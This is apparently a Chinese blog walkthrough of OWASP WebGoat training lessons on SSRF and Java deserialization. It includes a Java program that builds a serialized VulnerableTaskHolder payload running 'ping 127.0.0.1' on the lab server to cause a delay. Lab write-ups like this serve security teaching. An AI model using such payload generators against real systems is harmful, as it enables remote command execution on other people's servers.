前言
这里考的异常简单,连常见的绕过手法和协议都没讲,感觉设计的不太完善。之后会再单独出一篇来学Java的SSRF。这里为了完整性,还是写一下。
SSRF
第一题&第二题
第一题读内部数据,第二题向外发请求,基本一样。

直接改url这里的就行。第二题整个替换掉就行。
源码部分,这两题用的都是单纯的字符串匹配,实际上就不是真正的ssrf:

反序列化
这里要注意用webgoat给你提供的反序列化类org.dummy.insecure.framework.VulnerableTaskHolder
然后windows下是没有sleep命令的,所以我这里用ping,ping 127.0.0.1就行,也能满足延迟3s–7s
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package org.owasp.webgoat.lessons.deserialization.tmp;
import com.fasterxml.jackson.databind.node.POJONode; import org.dummy.insecure.framework.VulnerableTaskHolder;
import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.util.Base64;
public class sleep { public static byte[] ser(Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); oos.close(); return baos.toByteArray(); }
public static void main(String[] args) throws IOException { VulnerableTaskHolder vul = new VulnerableTaskHolder("webgoat", "ping 127.0.0.1"); byte[] ser = ser(vul); String s = Base64.getEncoder().encodeToString(ser); System.out.println(s); } }
|
另外2025版本的靶场用的是jdk23,Templates的Sink链都用不了了。